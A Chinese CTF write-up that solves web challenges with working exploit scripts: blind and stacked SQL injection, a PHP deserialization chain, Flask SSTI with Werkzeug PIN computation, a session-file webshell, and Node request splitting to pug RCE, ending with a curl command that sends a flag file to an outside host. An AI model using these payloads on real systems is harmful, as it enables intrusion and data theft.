2020新春战役网络安全公益赛web部分题解

打了ichunqiu的新春公益赛,web题大部分比较友好。

Day_1

简单的招聘系统

进去一个登录界面,可以注册,开始看到forgot,但是没有忘记密码的链接,注册登进去后,有个查询界面需要admin权限,然后注册admin用户也没有权限,之后试着可以用万能密码进来,然后再查询key的界面测了半天,啥也没出来,后来一想万能密码都可以登,那么登录出就可以注了。。。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
url="http://724572ef5f71464aa9d50b6a9540181cf1f2d153e3ee45e7.changame.ichunqiu.com/index.php"
flag=""
proxies = {
"http": "http://127.0.0.1:8080",
}

for i in range(1,50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#payload=r"admin' and 1=(ascii(mid((select group_concat(column_NAME) from information_schema.columnS where table_name='flag'),{},1))>{}) or '1"
payload=r"admin' and 1=(ascii(mid((select flaaag from flag limit 1 offset 0),{},1))>{}) or '1"
data={"lname":payload.format(i,mid),"lpass":"ff"}
print(payload.format(i,mid))
r=requests.post(url,data=data)#,proxies=proxies)
#print(r.content)
if b"./zhaopin.php" in r.content:
low=mid+1
else:
high=mid
mid=(low+high)//2
flag+=chr(mid)
print(flag)
#backup,flag,user
#id,flaaag

更新:之前说在key那里试了半天没有成功,当时order by 时题目报错一直在猜后台的sql语句,后来看了颖奇师傅的wp后,这里尽管报错还是可以注入的。

首先用oeder by查列数

image-20200224124224465

然后看回显位,为2,查表

image-20200224123828230

查列

image-20200224124516526

查flag

image-20200224124618322

upload

这题就不用说了,啥过滤都没有。

babyphp

扫目录有www.zip,看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>

没有用die用的echo,之后的程序还会执行,而且

1
2
3
4
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

safe函数还会改变序列化后的值,如果序列化内容有数组里的字符串,那么序列化后的值就会变长,我们可以利用这点和php反序列化的容错性来构造反序列化链,

image-20200222162442935

通过反序列化最后触发login(),返回admin的密码,登录得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class dbCtrl {

public $name = "admin";
public $password = "admin";
public $mysqli;
public $token;
}
Class UpdateHelper {
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo, $sql) {
$newInfo = unserialize($newInfo);
$upDate = new dbCtrl();
}
public function __destruct() {
echo $this->sql;
}
}
class Info {
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age, $nickname) {
$this->age = $age;
$this->nickname = $nickname;
}
public function __call($name, $argument) {
//echo $argument[0];
echo $this->CtrlCase->login($argument[0]);
}
}
class User {
public $id = 2;
public $age = 5;
public $nickname;

public function __destruct() {
return file_get_contents($this->nickname); //危
}

public function __toString() {
$this->nickname->update($this->age);
return "0-0";
}
}

$user=new dbCtrl();
$i1 = new Info("23","ddd");
$i1->CtrlCase=$user;
$n=new User();
$n->nickname=$i1;
$n->age='select "1", "21232f297a57a5a743894a0e4a801fc3"';
$up=new UpdateHelper(NULL,"ddd");
$up->sql=$n;
$i = new Info("23",$up);
echo serialize($i);
1
O:4:"Info":3:{s:3:"age";s:2:"23";s:8:"nickname";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";i:2;s:3:"age";s:46:"select "1", "21232f297a57a5a743894a0e4a801fc3"";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:2:"23";s:8:"nickname";s:3:"ddd";s:8:"CtrlCase";O:6:"dbCtrl":4:{s:4:"name";s:5:"admin";s:8:"password";s:5:"admin";s:6:"mysqli";N;s:5:"token";N;}}}}s:8:"CtrlCase";N;}

接下来就是计算了,

1
2
;s:8:"nickname";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";i:2;s:3:"age";s:46:"select "1", "21232f297a57a5a743894a0e4a801fc3"";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:2:"23";s:8:"nickname";s:3:"ddd";s:8:"CtrlCase";O:6:"dbCtrl":4:{s:4:"name";s:5:"admin";s:8:"password";s:5:"admin";s:6:"mysqli";N;s:5:"token";N;}}}}s:8:"CtrlCase";N;} 
这段长度是373

我们加一个*替换成hacker后就会多5个字符,所以要添加74个*加1个into加1个union正好74*5+1*2+1*1=373

在本地调试的时候

image-20200223095156234

谷歌一下是因为

1
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
1
O:4:"Info":3:{s:3:"age";s:455:"**************************************************************************unioninto";s:8:"nicknami";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";i:2;s:3:"age";s:46:"select "1", "21232f297a57a5a743894a0e4a801fc3"";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:2:"23";s:8:"nickname";s:3:"ddd";s:8:"CtrlCase";O:6:"dbCtrl":4:{s:4:"name";s:5:"admin";s:8:"password";s:5:"admin";s:6:"mysqli";N;s:5:"token";N;}}}}s:8:"CtrlCase";N;}";s:8:"nickname";s:4:"dddd";s:8:"CtrlCase";N;}

上面的$nickname是一个Object,所以报错,我们把payload中的nickname改为同长度的其他变量名即可。

image-20200223231606959

盲注

过滤了select = > <等。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time
flag=""
url="http://b2aa87e875e24d8594bc523bf9ca972ed4b62c6107cb493d.changame.ichunqiu.com/?id="

proxies = {
"http": "http://127.0.0.1:8080",
}
dic="qwertyuiopasdfghjklzxcvbnm1234567890{}-"
for i in range(1,45):
for mid in dic:
payload=r"if(ascii(substr(fl4g,{},1))%20regexp%20{},sleep(2),0)"
url_1=url+payload.format(i,ord(mid))
print(payload.format(i,ord(mid)))
start_time=time.time()
r=requests.get(url_1)#,proxies=proxies)
end_time=time.time()
#print(r.content)
if end_time-start_time>=2:
flag+=mid
print(flag)
break

Day_2

easysqli_copy

考点:堆叠注入

打开题目给了源码,

image-20200222150130260

这里说一下sql的预编译和模拟预编译,

  • 采用预编译时,会先将待执行的sql语句中的参数值用占位符来替代,当有占位符的sql语句模板被数据库编译、解析后,再通过向占位符绑定参数进行查询操作。这样也来,向模板中传入的输入值,都会被当成字符串,可以杜绝sql注入的产生。

    预制语句的SQL语法基于三个SQL语句:

    1
    2
    3
    prepare stmt_name from preparable_stmt;
    execute stmt_name [using @var_name [, @var_name] ...];
    {deallocate | drop} prepare stmt_name;
  • 模拟预编译是为了一些不支持预编译的数据库设置的,客户端程序内部模拟sql数据库中参数绑定的过程。

PDO在默认情况下,是允许多句执行和模拟预编译的,题目源码中在声明PDO实例的时候没有指定不允许多语句执行,不允许模拟预编译。所以这道题可以通过堆叠注入解。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time
proxies = {
"http": "http://127.0.0.1:8080",
}
password=""
url = "http://a6f0af74cb42409c8b829fdba30975255144c88cd6c54dd0.changame.ichunqiu.com/?id"
string = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}-,"
for i in range(1,50):
for j in string:
s = j.encode('hex')
yuju="select sleep(3*(ascii(mid((select fllllll4g from table1),{},1))={}));"
yuju=yuju.format(i,ord(j))
payload="=0%df' ;SET%20@SQL=0x{};PREPARE exesql FROM @SQL;EXECUTE exesql;".format(yuju.encode("hex"))
#print data
st_time=time.time()
r = requests.get(url+payload)#,proxies=proxies)
e_time=time.time()
#print r.text
if e_time-st_time >=3:
password = password + j
print password
break
#fllllll4g

总结一下可以堆叠注入的场景

  • Mysqli的multi_query()
  • PDO默认情况下的query()

参考链接

从宽字节注入认识PDO的原理和正确使用

https://xz.aliyun.com/t/3950

https://xz.aliyun.com/t/7132

blacklist

考点 :mysql新特性handler

打开题目,界面和强网杯的随便注界面类似,但是过滤了 set、prepare等字段。所以需要采用新的方法来绕过。

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

之前看一叶飘零师傅的博客里的FudanCTF某道题时,里面用了handler这个新特性:

https://dev.mysql.com/doc/refman/8.0/en/handler.html

1
2
3
4
5
6
7
8
9
10
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

image-20200222154705385

payload:

1
2
inject=0%27;show%20tables;
inject=0%27;handler%20`FlagHere`%20open%20as%20`ss`;handler%20`ss`%20read%20next;

Ezsqli

考点 :sys.schema_table_statistics_with_buffer查列名 无列名按位爆破字段。

过滤了 in 所以常规方法查表名,列名都不可以了。用sys.schema_table_statistics_with_buffer来查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time
proxies = {
"http": "http://127.0.0.1:8080",
}
password=""
url = "http://42b9a14929e64c8daf5f5f5a9380b26366da480841da49c6.changame.ichunqiu.com/"
string = ",0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}-,abcdefghijklmnopqrstuvwxyz"

for i in range(1,50):
for j in range(32,126):
payload="ascii(mid((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))-{}".format(i,j)
data={"id":payload}
r = requests.post(url,data=data)#,proxies=proxies)
if " Nu1L" in r.content:
password = password + chr(j+1)
print password
break

不知道列名,用无列名注入,有过滤了union select ,怎么试都没绕过。然后翻大佬的博客,看到按位爆破方法。参考链接,但是文中的方法在本题有点问题,需要边修改边跑,还可以用十六进制来爆破,这里贴一下十六进制爆破的脚本。

image-20200222230548963

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

proxies = {
"http": "http://127.0.0.1:8080",
}
url = "http://af4fcae52ce5463583151b28d2d6921e2843633f7f304a41.changame.ichunqiu.com/"
string = "a-0123456789abcdefghijklmnopqrestuvwxyz_{}~"
for i in range(1,50):
for j in range(44,128):
payload="ascii((select (select 1,0x{})<(select * from f1ag_1s_h3r3_hhhhh limit 1)))-48".format(password+chr(j).encode("hex"))
print payload
data={"id":payload}
r = requests.post(url,data=data,proxies=proxies)
print r.status_code
if " Nu1L" not in r.content:
password = password + chr(j-1).encode("hex")
print password
break

Day_3

Flask_app

考点:flask ssti , 计算pin码

题目环境是python3 ,ssti payload

1
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/environ').read()}}

可以读文件,依次读

1
2
/sys/class/net/eth0/address  #w网卡地址,然后转十进制
/etc/machine-id #machine-id

然后利用exp生成PIN码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py'
# getattr(mod, '__file__', None),
]

private_bits = [
'2485377957892',# str(uuid.getnode()), /sys/class/net/ens33/address
'f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

到/console下,运行命令读flag

img

easy_thinking

扫目录,给了源码,thinkphp6.0,看到

image-20200223220611167

开了session,可以利用之前的session文件写入,大致测试下功能,看下源码,

image-20200223220843928

search 可以将我们的输入存到session中。

然后先将PHPSESSID改为后缀为php,这样就可以生成sess_xxxxx.php,首先搜索

<?php phpinfo(); ?>

可以看到有disabled_function,然后传一个一句话,用蚁剑连上,上传一个之前很火的绕过php7大多版本的脚本,执行/readflag,完事。

Node_game

这题是改的nullcon HackIM 的一道题,仿着别人的wp,半天没做出来,最后看出题人的博客

http://blog.5am3.com/2020/02/11/ctf-node1/#HackTM-CTF-2020-Draw-with-us,

漏洞的原理就是,node8及8以下的版本在设计上有缺陷,在发送的url请求中含有特殊构造的非ascii字符,node 在处理这样的请求时,会将其采用latin1编码,并且会把前面构造的特殊字符转换位HTTP控制字符,形如

1
http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET

会变成

1
2
3
4
5
http://127.0.0.1:3000/query?param=1 HTTP/1.1
Host: 127.0.0.1:3000
Connection: keep-alive

GET

这里贴一下5am3师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
shellCodeRaw="\r\n"
var shellCodeRawList = shellCodeRaw.split("")
var shellCodeAsciiList= [];
for(var i=0;i<shellCodeRawList.length;i++){
tmp = shellCodeRawList[i].charCodeAt()
shellCodeAsciiList.push(tmp.toString(16));
}

shellcode=shellCodeAsciiList.join("}\\u{01");
shellcode= "\\u{01"+shellcode+"}"

eval("encodeURI('"+shellcode+"')")

// \r\n --> %C4%8D%C4%8A
// 空格 --> %C4%A0

// 构造如下参数
//z%C4%A0HTTP/1.1%C4%8D%C4%8A%C4%8D%C4%8A%C4%8D%C4%8AGET%C4%A0/flag%C4%A0HTTP/1.1%C4%8D%C4%8A%C4%8D%C4%8A
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# exp.py

import requests
import sys

payloadRaw = """x HTTP/1.1

POST /file_upload HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?action=upload
Upgrade-Insecure-Requests: 1

-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="5am3_get_flag.pug"
Content-Type: ../template

- global.process.mainModule.require('child_process').execSync('evalcmd')
-----------------------------12837266501973088788260782942--


"""

def getParm(payload):
payload = payload.replace(" ","%C4%A0")
payload = payload.replace("\n","%C4%8D%C4%8A")
payload = payload.replace("\"","%C4%A2")
payload = payload.replace("'","%C4%A7")
payload = payload.replace("`","%C5%A0")
payload = payload.replace("!","%C4%A1")

payload = payload.replace("+","%2B")
payload = payload.replace(";","%3B")
payload = payload.replace("&","%26")

# Bypass Waf
payload = payload.replace("global","%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC")
payload = payload.replace("process","%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("mainModule","%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5")
payload = payload.replace("require","%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5")
payload = payload.replace("root","%C5%B2%C5%AF%C5%AF%C5%B4")
payload = payload.replace("child_process","%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("exec","%C5%A5%C5%B8%C5%A5%C5%A3")

return payload

def run(url,cmd):
payloadC = payloadRaw.replace("evalcmd",cmd)
urlC = url+"/core?q="+getParm(payloadC)
requests.get(urlC)

requests.get(url+"/?action=5am3_get_flag").text

if __name__ == '__main__':
targetUrl = sys.argv[1]
cmd = sys.argv[2]
print run(targetUrl,cmd)

# python exp.py http://127.0.0.1:8081 "curl eval.com -X POST -d `cat /flag.txt`"

剩下一道exExpress坐了别的队的车。那道没做出来,以后补上吧。